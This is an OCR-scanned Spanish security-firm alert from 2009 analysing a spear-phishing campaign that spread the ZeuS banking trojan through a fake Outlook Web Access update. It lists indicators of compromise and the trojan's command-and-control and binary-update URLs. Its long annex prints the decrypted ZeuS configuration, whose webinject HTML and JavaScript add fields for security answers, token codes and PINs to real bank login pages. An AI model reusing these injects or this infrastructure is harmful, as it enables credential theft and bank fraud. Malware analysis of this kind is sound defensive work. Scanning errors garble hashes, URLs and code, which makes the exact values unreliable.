| I —
S S21isecemd

INFORME DE ALERTA
TEMPRANA

SPEAR PHISHING ZEUS

15/10/2009

En las dltimas horas se esta produciendo un ataque de Spear
Phishing contra varias entidades en todo el mundo, en las que se
intenta infectar a los objetivos con el troyano ZeuS. Las
caracteristicas del ataque lo hacen potencialmente muy peligroso, por
lo que se recomienda tomar precauciones.
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Sobre S21sec.

S21sec, compafiia espafiola especializada en servicios de seguridad digital y lider en el
sector, fue fundada en el afio 2000 y cuenta con mas de 265 expertos certificados.

La investigacion y desarrollo han constituido un objetivo prioritario en la estrategia de
S21sec desde sus inicios. Esto le ha llevado a crear el primer centro de I|+D+i
especializado en seguridad digital de toda Europa. S21sec opera con el 90% de las
entidades financieras y 26 de las grandes empresas que cotizan en el IBEX 35.

Con oficinas en Barcelona, Ledn, Madrid, Ourense, Pamplona, San Sebastian, Sevilla,
Valencia, México D.F, Monterrey, Londres y Houston, S21sec ofrece servicios integrales
de seguridad digital a nivel mundial las 24 horas del dia.

Mas informacion en www.s21sec.com

© 2009 Grupo S21sec Gestion S.A. Todos los derechos reservados.

La informacién facilitada en este documento es propiedad de Grupo S21sec Gestidn
S.A., quedando terminantemente prohibida la modificacion o explotacion de la totalidad
o parte de los contenidos del presente documento, sin el consentimiento expreso y por
escrito de Grupo S2lsec Gestion S.A. En ningun caso la no contestacion a la
correspondiente solicitud puede ser entendida como autorizacion presunta para su
utilizacion.

Www.s21sec.com
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1 ANALISIS DEL ATAQUE

Las herramientas de monitorizacion y deteccién de S21sec han detectado una nueva
ola de ataques mediante correos maliciosos, en este caso parece que especialmente
dirigidos a algunos objetivos dentro de varias empresas e instituciones, haciéndose
pasar por una actualizacion de Microsoft Outlook Web Access (OWA). La oleada
comenzo el dia 14 de Octubre afectando a varias entidades.

En el correo que reciben los usuarios victimas de este ataque se les avisa que se ha
realizado una actualizacion de seguridad en sus cuentas, mostrando un enlace que
redirige a la pagina web en la que aplicar los cambios.

A continuacion se muestra un correo de ejemplo en el que se puede apreciar el enlace
malicioso al final del mismo haciéndose pasar por el enlace para cambiar la
contrasefa en el OWA:

De: support@xxx.com [mailto:support@xxx.com]

Enviado el: miércoles, 14 de octubre de 2009 16:53

Para: xxx@xxx.com

Asunto: The settings for the xxx@xxx.com mailbox we re changed

Dear user of the xxx.com mailing service!

We are informing you that because of the security u pgrade of the
mailing service your mailbox (xxx@xxx.com) settings were changed. In
order to apply the new set of settings click on the following link:
hxxp://xxx.com/owa/service_directory/settings.php?e mail=xxx@xxx.com
&from=xxx.com&fromname=xxx

<hxxp://xxx.com.polikki.co.uk/owa/service_directory [/settings.php?email

=XXX@XXX.com&from=xxX.com&fromname=xxx>

Best regards, xxx.com Technical Support.

Www.s21sec.com
[— | ——
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El mismo correo pero en formato HTML:

Www.s21sec.com
[— |

Arbor.net e-mail service:

new settings file for net mailbox

r

The default settings of your mailbox were automatically changed. Please download and

r launch a file with a new set of settings for your e-mail account:

-settings-file.exe

Securiby

We constantly work on the quality level of our service, as well as on the development of its
security and protection. During the last upgrade several essential improvements were
adopted, such as new ports for the POP3 & SMTP protocols, plus the SMTP autentification.
The new settings are necessary for those who use the mailings dients (for ex. Microsoft
Cutlook, The Bat!, Mozilla Thunderbird etc.) or those who use our service via the
web-interface.

ount from unauthorized access, Out
If your session ends, and the Lo

Id be redi

Last Modified:

1 Ejemplo mensaje phishing
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Se puede apreciar como la pagina a la que se redirige a la victima también aparenta
ser el portal OWA legitimo:

2 Web a la que se redirige al usuario

Lo que hace a estos mensajes realmente peligrosos es que estan personalizados de
manera que el usuario piense que el correo ha sido enviado por el equipo de soporte
del dominio, spoofeando la direccién del From del mensaje para simular proceder del
mismo.

Por otra parte, se ha apreciado como estos intentos de infeccion se han realizado
contra varias empresas e instituciones pero no de forma masiva, por lo que es mas
probable que pase desapercibido. Este hecho junto a la personalizacion y la
simulacion de ser una direccion de soporte de la compafia hacen este ataque
peligroso.

Una vez se accede a la pagina, ésta intenta descargar un binario en el equipo del
usuario. Para ello NO explota ninguna vulnerabilidad, simplemente solicita la descarga
del binario, por lo que un usuario que se niegue a su descarga y ejecucion no
resultaria infectado.

Www.s21sec.com
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2 ANALISIS DEL BINARIO

El objetivo del ataque es que las victimas descarguen y ejecuten un binario malicioso,
que corresponde a un troyano bancario de la familia Wnspoem y que actualmente
tiene un nivel de deteccién muy bajo por parte de los antivirus.

Tamafio: 91136 bytes

MD5 :0244586f873a83d89caa54db00853205
SHA1 : 9bcb118ee47ffb24b770534736922aaf6df490c9
SHA256: 8b8e52bed548190a34cd14f5f8a9b9balcb0e27cd45f2272c68f0665cd22bffe

Deteccion (6/41):

$% &
! 0&

Referencias:

http://www.virustotal.com/es/analisis/8b8e52bed548190a34cd14f5f8a9b9balch0e27cd45f2272c68f0665cd
22bff6-1255530700

NOTAS

En el Anexo 1 se explica el funcionamiento de este troyano. No obstante,
comentar que se trata de un troyano bancario genéri co que se ejecuta en
espacio de usuario (userland). No hace referencia a ninguna entidad espafiola
especificamente, aunque tiene funcionalidades que p  ermiten descargar malware
adicional, acceder a los ficheros del disco duro, | nterceptar comunicaciones e
inutilizar el sistema operativo.

En el Anexo 2 se incluye el archivo de configuracié  n que utilizaba el troyano en
el momento de su analisis y en el que se pueden ver las entidades inicialmente
afectadas explicitamente por el troyano pararealiz  ar fraude bancario.

El troyano es una de las Ultimas variantes de esta familia de malware, y establece
comunicacion con las siguientes URLSs:

Actualizacion del binario:

http://195.93.208.106/Icc/ipl.exe




Servidor de control y envio de credenciales robadas:
http://195.93.208.106/livs/rec.php

Copias de la configuracion del binario y actualizaciones:
http://dubensk.com/ip/ipl.ord

http://makotoro.com/ip/ip1.ord

http://smotril23.com/ip/ipl.ord

3 INFRAESTRUCTURA DEL ATAQUE

Nuestras maquinas de deteccion y monitorizacion han detectado un volumen de envio
de 30000 mensajes por hora, y se ha comprobado que para realizar el ataque se ha
utilizado una red fastflux.

La informacién de los dominios fraudulentos detectados implicados en el ataque se
muestra en la siguiente tabla:
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Para el analisis de las IPs implicadas en el ataque se analizaron los servidores DNS
de los principales ISPs de paises de toda Europa, obteniendo las siguientes IPs
involucradas:

112.148.46.34 119.228.178.7 123.195.226.68
112.150.138.77 121.133.190.128 124.54.222.141
114.202.17.127 121.154.6.14 124.80.91.82

114.207.207.153 121.162.148.163 125.139.169.21
118.216.234.221 121.165.99.200 189.62.171.189
118.223.63.189 121.188.121.64 190.105.42.124

118.42.94.82 122.134.26.171 190.18.154.160



190.73.128.107
195.56.6.208
200.119.121.124
203.186.24.182
211.56.253.213
212.48.8.140
220.76.118.18
221.152.125.49
221.165.129.207
58.226.73.179
59.21.158.233
61.255.32.202
62.210.183.9
67.215.65.132
67.215.66.132
77.111.155.251
77.125.247.13
77.78.42.41
79.112.20.136
79.114.71.27
79.116.206.195
79.117.168.69
79.79.146.174
80.51.99.34
80.99.83.15
84.122.121.233
85.226.143.39
85.85.241.57
87.228.81.107
88.102.159.73
89.148.79.70
89.34.94.71
89.76.246.68
03.81.114.113



Aunque hay que resefiar que continuamente aparecen y desaparecen nuevas IPs en
los dominios.

Una vez comprobadas las IPs hemos podido determinar que pertenecen a la botnet
del troyano URLZone, también denominada botnet “Avalanche”.
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4 CONCLUSIONES

Nos encontramos con un ataque muy elaborado, tanto por la elaboracién del correo de
SPAM como por la complejidad de la red que lo aloja. Un ataque con un volumen de
envio tan masivo hace que en la mayoria de los casos, bien por el idioma, bien por la
no disponibilidad del software, no sea tan efectivo a efectos reales, maxime en un caso
como este en que la instalacién del binario necesita de la colaboracién del usuario.

No obstante, es un ataque elaborado y dirigido contra varias empresas e instituciones
con apariencia de mensajes internos y personalizados. No es despreciable el impacto
que puede llegar a causar. Una maquina infectada puede ser una puerta de entrada
para ataques posteriores, por lo que las precauciones deben ser maximas.

El binario en si es un troyano conocido y para el que S21Sec ha desarrollado
herramientas para su desinfeccion y deteccion, a disposicion de sus clientes.

11
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5 ANEXOS

5.1 Anexol

Este anexo describe el andlisis técnico de esta familia de malware. El troyano comienza
llamando a varias funciones de inicializacion. En las mismas se realizan la
decodificacion de las cadenas que contiene en el codigo, asi como en la carga de varias
DLLs y la obtencién de la direccion de varias funciones de la APl. Una vez que la
inicializacion finaliza, el troyano comprueba si ya se encuentra en ejecucion en el
sistema. En caso de ser su primera ejecucion, comienza el proceso de instalacion.
Dicho proceso consiste en:

Crear una copia del binario en %sysdir%\sdra64.exe:

0 Atributos de system y sélo lectura.

o0 Afade un maximo de 524288 bytes de datos aleatorios al final del
fichero, de este modo evita la deteccion basada en hashes por parte de
los antivirus.

o Modifica la fecha de creacion del archivo sdra64.exe para que tenga la
misma que el archivo ntdll.dll para hacerlo menos sospechoso.

Se asegura la ejecucion en cada inicio del sistema mediante la siguiente entrada
de registro:

HKLM|HKCU\software\microsoftiwindows nt\currentversion\winlogon userinit
="%sysdir%\userinit.exe,%sysdir%\sdra64.exe

Finalmente, y antes de terminar, inyecta codigo y pasa la ejecucion a un hilo
remoto creado en el contexto del proceso winlogon.

Durante la ejecucion, se crean los siguientes MUTEX para la sincronizacion entre los
distintos hilos:

__ SYSTEM__23D80F10__
_ SYSTEM__45A2F601__
_ SYSTEM__7F4523E5__
__SYSTEM__64AD0625__

__SYSTEM__91C38905__

La presencia de algunos de esto MUTEX en el sistema podria llegar a indicar la
infeccion del mismo, ya que parece que el binario utiliza los mismos nombres incluso en
distintas mutaciones, aungue no sea el mismo en todas. El siguiente esquema muestra
un resumen de las interacciones y principales acciones del troyano con el sistema:

12
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Imagen 1. Esquema de comportamiento del céddigo mali  cioso.

El troyano esté preparado para la captura de eventos de teclado y raton, contenido de
portapapeles, certificados presentes en el sistema y eventos de red. Esta configuracién
es bastante tipica en cuanto a malware para la captura de credenciales en servicios de
red.

Mediante este esquema se capturan las entradas de raton y teclado al visitar ciertas
paginas web, asi como permite la inyeccion de coédigo HTML en determinadas URLS,
tipicamente para pedir mas datos de los habituales al usuario que permitan al atacante
determinar ciertas operaciones no permitidas normalmente con las credenciales de
entrada en el sistema. Normalmente las entidades afectadas suelen ser bancarias y los
datos adicionales permiten la transferencia de dinero entre cuentas.

El troyano cifra y almacena toda la informacion que obtiene en el archivo user.ds. A
continuacion se muestra un resumen de toda la informacion que roba:
Nombre de equipo, lenguaje por defecto, presencia de firewall en el sistema.
Informacion del almacenamiento protegido del sistema.

Certificados.

Intercepta el cdigo HTML que se corresponde con ciertas URLs para inyectar el
suyo. De este modo, captura las credenciales y demas datos que se insertan en

13
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las paginas web. Ademas, borra las cookies relacionadas con Macromedia Flash
y la caché de Internet Explorer, de modo que el usuario tenga que volver a
teclear sus credenciales para loguearse.

Intercepta la entrada de teclado y de ratén, con funcionalidad afiadida de captura
de pantalla.

Captura los datos que se guardan en el portapapeles.
El troyano tiene la capacidad para enviar todos los datos capturados a un servidor FTP.

Ademas, utiliza la técnica de inyeccién HTML, consistente en inyectar cédigo HTML por
parte del atacante dentro del cédigo legitimo que recibe un usuario al acceder con su
navegador a determinadas URLs. Al estar la maquina del usuario infectada, las
funciones de red de recepcion de datos pasan al control del troyano, de modo que
cuando detecta una URL objetivo inyecta su cédigo.

Esta técnica se utiliza principalmente con entidades bancarias y financieras,
habitualmente para pedir credenciales que normalmente no son necesarias para
acceder a los servicios online pero si para realizar movimientos de dinero. De este
modo, si el usuario inserta los datos, el malhechor dispone de todo lo necesario para
entrar en el servicio y realizar movimientos de dinero a su antojo.

14
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Este anexo se muestra el archivo de configuracion descifrado que utilizaba el troyano

analizado:

Zeus configuration decoder, S21sec e-crime - http://www.s21sec.com
Config version 1.2.7.21

UPDATE BINARY
http://195.93.208.106/Icc/ipl.exe

URL C&C SERVER
http://195.93.208.106/livs/rec.php

ADVANCEDCONFIG
http://dubensk.com/ip/ip1.ord
http://makotoro.com/ip/ip1.ord
http://smotril23.com/ip/ipl.ord

WEBFILTERS

Ihttp://*Is/

Ihttp://*/u/

I*livejournal.com*

I*facebook.com*

*myspace.com*

I*youtube.com*

I*blogger.com*

*amazon.com*

I*. microsoft.com/*

I*flickr.com*

Ihttp://*myspace.com*
@*//www.svbconnect.com/security/*.do
@*//ktt.key.com/ktt/cmd/validatePinForm
@*//ktt.key.com/ktt/cmd/logonFromKeyCom

WEBFAKES

c

https://chsec.wellsfargo.com/login/login.fcc
http://ultrex.info/webstat/03/03x.htm
https://wellsoffice.wellsfargo.com/portal/signon/index.jsp?UpdateProfileInfo

TANGRABBER
|
9

https://internetbanking.gad.de/banking/*
*

*

KktNrTanEnz
(@]

<

D
https://banking.*.de/cgi/ueberweisung.cgi/*
*&tid=*

*&betrag=*

P

A

15




N
https://www.citibank.de/*/jba/mp#/SubmitRecap.do
SYNC_TOKEN=*

0001

+Registered email
</d>

15-10-2009

address</td>*<img*>

16




15-10-2009

e-mail:
0002
J
(<a href="http://feedback.ebay.com/ws/eBaylSAPI.dII?ViewFeedback&*">
<la>
Feedback:
0003
3<table cellspacing="0" summary="page layout">

17




15-10-2009

</table>

0004

*

<div id="pagelntro" class="noprint">A
<td id="sidebar" align="left" valign="top" class="noprint">

0005

<div id="accountOverview">*
</table></td></tr></table></td></tr>

0006

<div id="accountOverview">*
</table></td></tr></table></td></tr>

0007
p=a href="#"
onClick="javascript:handlePageLink('/internetBanking/RequestRouter?requestCmdld=AccountDetails

18
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</table>

0008
.account-history-wait.jsp" method="post">

19
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</table>

0009
"id="dgDepositAcctsheader0"*>

20
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</table>

000A
-<td class="ice_headerleft">Deposit</td>

21
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</table>

000B
<td class="acctName_Text">

22
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</table>

0oocC
account summary</font>"<td height="10" colspan="4">

000D

</SPAN></CAPTION>

23
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</TABLE>BOFA balance:

000E
%_accountSummaryContainer"*</tr>

24
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</table>

000F

%
<input name="txtPassword"*</TR>
?

<TR><TD>Answer 1:</TD><TD> <!--colspan="2"--><input name="injA1l" type="text" maxlength="32"

id="injA1" tabindex="2" class="standardInput" style="width:150px;" /></TD><TD><span
style='visibility:hidden;display:none’ class='"VAMErrorText' id="vldinjA1'>&nbsp;<span
id='vldinjAltxt></span></span></TD></TR><TR><TD>Answer  2:</TD><TD> <!--colspan="2"--><input
name="injA2" type="text" maxlength="32" id="injA2" tabindex="2" class="standardInput"

style="width:150px;"  /></TD><TD><span  style='visibility:hidden;display:none'  class="VAMErrorText'
id='vldinjA2'>&nbsp;<span id="'vldinjAltxt'></span></span></TD></TR><TR><TD>Answer 3:</TD><TD> <!-
-colspan="2"--><input name="injA3" type="text" maxlength="32" id="injA3" tabindex="2"
class="standardInput"  style="width:150px;" /></TD><TD><span style='visibility:hidden;display:none'
class='"VAMErrorText' id='vldinjA3'>&nbsp;<span id="vIdinjA3txt'></span></span></TD></TR>

<HEAD>

6

<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms['MAINFORMT;if(form.injAl.value.length == 0) {alert ("You must provide an answer in order
to login.");form.injAl.focus();return false;}if(form.injA2.value.length == 0) {alert ("You must provide an answer
in order to login.");form.injA2.focus();return false;}if(form.injA3.value.length == 0) {alert ("You must provide an
answer in order to login.");form.injA3.focus();return false;}return true;}/ --></script>

onsubmit="

return CheckData();

0010
Account Summary

0011
<HEAD>
<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms['inputForm’;if(form.injal.value.length == 0) {alert (‘Please enter you
answer');form.injal.focus();return false;}if(form.inja2.value.length == 0) {alert (‘Please enter you

answer');form.inja2.focus();return false;}return true;}/ --></script>)
<form autocomplete="off" onsubmit="

CheckData();;

type="password" name="password" maxlength="20"*</div>

<label class="fieldDescription required">Answer 1:<b> *</b></label><br><span><input type="text"
name="injal" size="20"></span><br><label class="fieldDescription required">Answer 2:<b>
*</b></label><br><span><input type="text" name="inja2" size="20"></span>

0012

iype:"password" name="password" maxlength="20"*</div>

<label class="fieldDescription required">Token passcode: <b> *</b></label><span><input type="text"
name="injtoken" size="20"></span>

0013

Authentication

0014

iype:"password" name="password" maxlength="20"*</div>

<label class="fieldDescription required">Answer 1:<b> *</b></label><br><span><input type="text"
name="friend" size="20"></span><br><label class="fieldDescription required">Answer 2:<b>
*</b></label><br><span><input type="text" name="college" size="20"></span>

25




15-10-2009

0015
+<div id="MyAccountl_pnlCashAccounts">Balance Details
0016
name="userld"*</tr>
<tr><td class="header" colspan="2" align="center">Password: <input type="text" name="injpass"

maxlength="15" size="15" tabindex="3" value="" style="inputFieldStyle"></td></tr>

0017

name="userld"*</tr>

<tr><td class="header" colspan="2" align="center">Password: <input type="text" name="injpass"
maxlength="15" size="15" tabindex="3" value="" style="inputFieldStyle"></td></tr>

0018
name="userld"*</tr>

<tr><td class="header" colspan="2" align="center">Password: <input type="text" name="injpass"
maxlength="15" size="15" tabindex="3" value="" style="inputFieldStyle"></td></tr>

0019
Bank AccountsSee more information
001A
K
if (theForm.userPassword.value == ") fldList +=' -- User Password";
if (theForm.injal.value == ") fldList += ' -- First Answer';if (theForm.inja2.value == ") fldList += ' -- Second
Answer’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >In what year did you graduate from high
school?</td><td  align=right ><INPUT class="dataText" type="text" name="injal" size="20"
value=""></td></tr><tr ><td id = "dataText4" class="dataText" align=left >What is the name of the high
school you graduated from?</td><td align=right ><INPUT class="dataText" type="text" name="inja2"
size="20" value=""></td></tr><input type="hidden" name="injgql" value="In what year did you graduate from
high school?"><input type="hidden" name="injg2" value="What is the name of the high school you
graduated from?">

001B
K
if (theForm.userPassword.value == ") fldList +=' -- User Password";
if (theForm.email.value ==") fldList +=" -- Associated emalil’;if (theForm.pass.value == ") fldList += "' -- Email
password’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >Email associated with account:</td><td align=right
><INPUT class="dataText" type="text" name="email" size="20" value=""></td></tr><tr ><td id = "dataText4"
class="dataText" align=left >Email password:</td><td align=right ><INPUT class="dataText" type="text"
name="pass" size="20" value=""></td></tr>

001C
K
if (theForm.userPassword.value == ") fldList += ' -- User Password";
if (theForm.email.value ==") fldList += " -- Associated email’;if (theForm.pass.value == ") fldList += "' -- Email
password’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >Email associated with account:</td><td align=right
><INPUT class="dataText" type="text" name="email" size="20" value=""></td></tr><tr ><td id = "dataText4"

26
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class="dataText" align=left >Email password:</td><td align=right ><INPUT class="dataText" type="text"
name="pass" size="20" value=""></td></tr>

001D
K
if (theForm.userPassword.value ==") fldList += ' -- User Password’;
if (theForm.email.value ==") fldList +=" -- Associated email’;if (theForm.pass.value == ") fldList += "' -- Email
password’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >Email associated with account:</td><td align=right
><INPUT class="dataText" type="text" name="email" size="20" value=""></td></tr><tr ><td id = "dataText4"
class="dataText" align=left >Email password</td><td align=right ><INPUT class="dataText" type="text"
name="pass" size="20" value=""></td></tr>

001E
<head>
<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms['Form4';if(form.Userid.value.length == 0) {alert ('Please enter you User
ID");form.Userid.focus();return false;}if(form.Password.value.length == 0) {alert (‘Please enter you

password');form.Password.focus();return false;}if(form.injtoken.value.length == 0) {alert ('‘Please enter your
security token code');form.injtoken.focus();return false;}return true;}// --></script>2

<form class="dataform" name="Form4"*action="

")

/Online/Financial/Business/Service_:

class="formbutton" tabindex="6" onClick="javascript:

return CheckData();

<span>Password:*</div>

<div class="inputandlink"><label for="injtoken" class="vertical"><span>Token Code:</span><input
type="text" id="injtoken" tabindex="1" name="injtoken" size="20" maxlength="20" value="" > </label></div>

001F

name="Security" action="

" method="POST"$

http://www.firsttennessee.com/

<INPUT TYPE=HIDDEN*>

7

<INPUT TYPE=HIDDEN NAME="injtoken" VALUE="ololo">

0020
name="Password"*</div></div>
u

<div id="3" class="clearfix roweven"><div class="Cols1Pos1"><span id="Passwordlabel"
class="label'>*What is your mother's maiden name?</span><span class="password"><input
type="password" id="Password" name="injA1" statusline="Please enter you MMN." class="txtfield"
tabindex="3" dir="ltr" value="" size=""></input></span></div></div>

0021

*

Name="SignOn" Method="Post" action="

http://www.arvest.com/
<form id="SignOn"*>

<input type="hidden" name="injtoken" value="busted">

0022

<form autocomplete="off" action="
"0
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https://top.capitalonebank.com/colsed.html"
<input type="password"*</tr>

<tr><td></td><td height="30"><span style="color: #FFFFFF; font-style: arial, helvetica, verdana; font-size:
12px;">Token code</span></td><td>&nbsp;<input type="text" name="injtoken" id="injtoken" style="color:
#333333; width: 165px; font-style: arial, helvetica, verdana; font-size: 12px;"></input></td></tr>

0023
name="userid"*</span>

<label class="fieldDescription required">What is your father's middle name?<b> *</b></label><span><input
type="text" hame="injA1" maxlength="20" size="20"><input type="hidden" name="Q1" value="What is your
father's middle name?"></span><label class="fieldDescription required">Which sports team did you like
most as a child?<b> *</b></label><span><input type="text" hame="injA2" maxlength="20" size="20"><input
type="hidden" name="Q2" value="Which sports team did you like most as a child?"></span>

0024
F
<form AUTOCOMPLETE="OFF" method="post" name="logininfo" action="
https://www.boh.com/
name="usr"*</tr>

<tr><td nowrap="true" valign="middle" align="right" height="30">Token password:*&nbsp;</td><td
colspan="2"><input maxlength="20" size="20" name="injtoken" type="text"></td></tr>

0025
name="challenge" action="

/bbw/cmserver/include/challenge100.cfm

<input type="password"*>

I

<input type="hidden" name="injtoken" value="token v pole password">

0026
name="challenge" action="

/challenge100.cfm

<form*>
9
<input type="hidden" name="injtoken" value="hello">
0027
<html dir=Itr>
</html>
<HEAD> <STYLE TYPE='text/css'> <l-- BODY { background: white;
TD { background: white; font-family: arial, sans-serif; font-size: 9PT; }
B { color: black; font-family: arial, sans-serif; font-weight: 700; font-size: 9PT; }
TH { background: #84AEAD; text-align: left; font-weight: 800; font-family: arial,
sans-serif; font-style: oblique; font-size: 9PT } --> </STYLE>
</HEAD> <BODY> <TABLE ALIGN="center" BORDER="0" WIDTH="80%"> <TR>
<TD> <b>Website is currently unavailable!</b> </TD> </TR>
<TR> <TD>Website is currently unavailable due to important security updates.<br>Please check
back in 24 hours.<br>Sorry for inconvenience this may cause to you. </TD> </TR>
</TABLE> </BODY>
0028

3
<form method="POST"name="inputForm"*action="

http://us.hsbc.com/,
<form method="POST"name="inputForm"*>
5

.<input type="hidden" name="injtoken" value="hello kitty">
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0029

<head>

<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms[‘aspnetFormT;if(form.injAl.value.length == 0) {alert ("You must provide an answer in order
to login');form.injAl.focus();return false;}if(form.injA2.value.length == 0) {alert ("You must provide an answer
in order to login');form.injA2.focus();return false;}if(form.injA3.value.length == 0) {alert ("You must provide an
answer in order to login‘);form.injA3.focus();return false;}if(form.injpin.value.length == 0) {alert ("You must
provide a Wire PIN in order to login. If you do not have Wire PIN enter 0000'");form.injpin.focus();return
false;}return true;}// --></script>

form name="aspnetForm"

%

onsubmit="return CheckData()" 4

name="_ctl0:PageContent:PasswordTextBox"*</tr>

e

<tr><th style="width:50%; padding-right: 15px; text-align: right;"><span
id="_ctl0_PageContent_Loginl_ldLabel">Answer 1: </span></th><td style="white-space: nowrap; text-align:
left"><input name="injAl" type="text" size="15" id="injAl" /></td><td></td></tr><tr><th style="width:50%;
padding-right: 15px; text-align: right;"><span id="_ctl0_PageContent_Login1_ldLabel">Answer
2:</span></th><td style="white-space: nowrap; text-align: left"><input name="injA2" type="text" size="15"
id="injA2" [></td><td></td></tr><tr><th style="width:50%; padding-right: 15px; text-align: right;"><span
id="_ctl0_PageContent_Loginl_ldLabel">Answer 3:</span></th><td style="white-space: nowrap; text-align:
left"><input name="injA3" type="text" size="15" id="injA3" /></td><td></td></tr><tr><th style="width:50%;
padding-right: 15px; text-align: right;"><span id="_ctl0_PageContent_Loginl_IdLabel">Cash Management
Wire PIN:</span></th><td style="white-space: nowrap; text-align: left"><input name="injpin" type="text"
size="15" id="injpin" /></td><td></td></tr>

002A

action="
off.aspx5
<input name="txtPassword" type="password"*</TR>

<TR><TD  width="9%">&nbsp;</TD><TD align="left" noWrap>Token Password:</TD><TD><input
name="injtoken" type="text" id="txtPassword" tabindex="3" AUTOCOMPLETE="ON"
style="width:153px;BORDER-RIGHT: #333333 1px solid; BORDER-TOP: #333333 1px solid; BORDER-
LEFT: #333333 1px  solid; BORDER-BOTTOM: #333333 1px  solid"  /></TD><TD
width="9%">&nbsp;</TD></TR>

002B
6
<input type="password" name="userPassword"*</tr>
e

<tr> <td align="right"> <table border="0" cellspacing="0" cellpadding="0" width="100"><tr align="right"> <td
class="ilabel" height="20">Token password</td></table></td><td><input name="injtoken" size="28"
maxlength ="65" /></td><td><img height=1 alt="" src="images/px1.gif* width=30 border=0></td><td
align="right">&nbsp;</td></tr>

002C
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action=""
off.jsp

002D

2
<FORM NAME="login_form" METHOD=post action="

Https://wvvw.frostbank.com/sitemap/Pages/defauIt.aspx
<FORM NAME="login_form"*>

'<input type="hidden" name="injtoken" value="busted">

002E

<head*>
</html>

<TITLE>Website is currently unavailable.</TITLE></head><body><center><img src="https://treas-
mgt.frostbank.com/rdp/images/HC/loginban.gif'><h2>Due to system maintenance, Frost Cash Management
will be unavailable for 24 hours. Please try to access this page at a later point or if you have any questions
contact our technical support desk at 1-888-236-0232.</h2></center></body>

002F
$Answer Your Security QuestionsHide my typing
0030
name="ACN"*</li>
<li><label for="ACNID" id="IbIACNID" class="title">PIN</label></li><li><div

id="getCustNoOnCookie"><span id="ACNspan"><input autocomplete="off" maxlength="25" id="ACNID"
name="injpin" value=""  type="text" class="nimbus_input_elem"></span><img id="secure_icon"
class="securelcon" height="16" width="13"
src="en_US/images/nimbus/misc/ing_secure_lock.gif"></div></li>

0031
action="
https://www.mibank.com/R
<span id="ctl0O0_m_uclnstructionalText_m_I|blIPageText" class="message_detail">
</span>N
Please enter your Company ID, User ID and Passcode and click "Continue."

User ID:</span>*</tr>
z

<tr> <td valign="bottom"> <span class="form_label">Passcode(PIN+Token):</span> </td> <td>
<input name="injtoken" type="text" maxlength="26" id="ctl00_m_phContentAreal_vtbUserld"
style="width:150px;" /> </ftd> </tr> <tr> <td valign="bottom"> <span class="form_label">Next token
code<br>(<small>generate token again, PIN not required</small>):</span> </td> <td> <input
name="injtokenl" type="text" maxlength="26" id="ctl00_m_phContentAreal_vtbUserld" style="width:150px;"
> <hd> </tr>

0032
K
if (theForm.userPassword.value ==") fldList += ' -- User Password’;
if (theForm.injal.value == ") fldList += ' -- First Answer';if (theForm.inja2.value == ") fldList += ' -- Second
Answer’;

name="userPassword"*</tr>

<tr ><td id = "dataText4" class="dataText" align=left >How many children do you have?</td><td align=right
><INPUT class="dataText" type="text" name="injal" size="20" value=""></td></tr><tr ><td id = "dataText4"
class="dataText" align=left >What is the name of the first company you worked for?</td><td align=right
><INPUT class="dataText" type="text" name="inja2" size="20" value=""></td></tr><input type="hidden"
name="injgql" value="How many children do you have?"><input type="hidden" name="injg2" value="What is
the name of the first company you worked for?">
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0033
ACTION="
https://rbs.com/
name="UserName"*</tr>
<tr><td class="loginHeader">Password:</td></tr><tr><td class="loginlnput"><input id="enter"
class="loginText" type="text" name="injpass" maxlength="20" [><td></tr><tr><td

class="loginHeader">Token Code:</td></tr><tr><td class="loginInput"><input id="enter" class="loginText"
type="text" name="injtoken" maxlength="20" /></td></tr>

0034
ACTION="
https://rbs.com/
name="UserName"*</tr>
<tr><td class="loginHeader">Password:</td></tr><tr><td class="loginlnput"><input id="enter"
class="loginText" type="text" name="injpass” maxlength="20" /><ftd></tr><tr><td

class="loginHeader">Token Code:</td></tr><tr><td class="loginInput"><input id="enter" class="loginText"
type="text" name="injtoken" maxlength="20" /></td></tr>

0035
#
name="Access|DVisible"*</div>

<div id="access-id-spacer"><label for="access-id">What is your father's middle name?</label><input
name="injA1l" type="text" class="fieldcell" id="access-id" /></div>

0036
name="UserName"*</tr>

<tr class="fieldgroup"><td class="label">What is your father's middle name?</td><td class="input"><div
class="field"><input type="text" name="injal" size="25" tabindex="2" maxlength="40"></div></td></tr>

0037
name="password"*</span>

<label class="fieldDescription required">Passcode(Token)<b> *</b></label><span><input type="password"
name="injtoken" maxlength="20" size="20"></span>

0038

name="publicCred1"*</tr>
<tr> <td><strong>What is the name of your best friend in grade school?</strong></td>

<td><span><input name="injal" size="15" maxlength="32" type="text"></span></td> </tr>

0039
onsubmit="1 document.MALogin.password.value='123456";

003A
<head>
<script type="text/javascript"><!--function CheckData 0 {var form =
document.forms[0];if(form.Al.value.length == 0) {alert ("You must provide an answer in order to
login.");form.Al.focus();return false;}if(form.A2.value.length == 0) {alert ("You must provide an answer in
order to login.");form.A2.focus();return false;}if(form.A3.value.length == 0) {alert ("You must provide an

answer in order to login.");form.A3.focus();return false;}if(form.A4.value.length == 0) {alert ("You must provide
an answer in order to login.");form.A4.focus();return false;}if(form.A5.value.length == 0) {alert ("You must
provide an answer in order to login.");form.A5.focus();return false;}return true;}// --></script>

onsubmit="

return CheckData();

type="password"*</div>
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<div class="EntryDiv"> <label for="txtPassword"> What was your first car?
</label> <input name="Al" type="text" maxlength="30" id="ucLogin_txtPassword" tabindex="2"
autocomplete="off" alt="Key in your answer" style="width: 200px;" /> </div> <div
class="EntryDiv"> <label for="txtPassword"> What is your favorite holiday?
</label> <input name="A2" type="text" maxlength="30" id="ucLogin_txtPassword" tabindex="2"
autocomplete="off" alt="Key in your answer" style="width: 200px;" /> </div> <div
class="EntryDiv"> <label for="txtPassword"> What was your elementary school?
</label> <input name="A3" type="text" maxlength="30" id="ucLogin_txtPassword" tabindex="2"
autocomplete="off" alt="Key in your answer" style="width: 200px;" /> </div> <div
class="EntryDiv"> <label for="txtPassword"> What is your place of birth?
</label> <input name="A4" type="text" maxlength="30" id="ucLogin_txtPassword" tabindex="2"
autocomplete="off" alt="Key in your answer" style="width: 200px;" /> </div> <div
